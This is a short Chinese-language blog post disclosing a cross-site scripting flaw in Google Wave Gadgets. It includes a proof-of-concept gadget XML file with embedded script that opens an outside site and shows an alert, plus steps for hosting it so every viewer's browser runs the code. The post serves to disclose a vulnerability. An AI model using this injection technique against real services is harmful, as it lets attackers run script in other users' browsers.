Google Wave XSS
作者:Shandowhider
Google Wave 是 Google 的一款网络交流服务。它将电子邮件和即时通讯结合起来,使人们的交流更方便。Wave Gadget 是目前 Google Wave 两种扩展中的其中一种。Gadgets 是功能完备的应用。
Wave Gadget 可以引用一个外域的xml文件来实现用户所需要的功能。但是 Wave Gadget 却对其所引用的xml文件的内容没有做安全限制,这导致了该xml文件行可以执任意代码,被恶意用户利用。
POC:
新建一个xml文件,写入如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?xml version="1.0" encoding="UTF-8" ?> <Module> <ModulePrefs title="Hello Wave"> <Require feature="wave" /> </ModulePrefs> <Content type="html"> <![CDATA[ <script type="text/javascript"> window.open('http://www.x3y3.org/') alert('Just 4 Fun~ By ShadowHider'); </script> ]]> </Content> </Module> </xml> |
然后将此xml文件上传至任意web空间,如 http://www.x3y3.org/s.xml
登录wave,选择’New Wave‘,然后选择’Add Gadget By URL‘,将xml文件的地址填进去。
此后浏览该wave的用户的浏览器将会执行远程xml文件中的代码
没有评论
暂无评论
RSS feed for comments on this post.
对不起,该文章的评论被关闭了!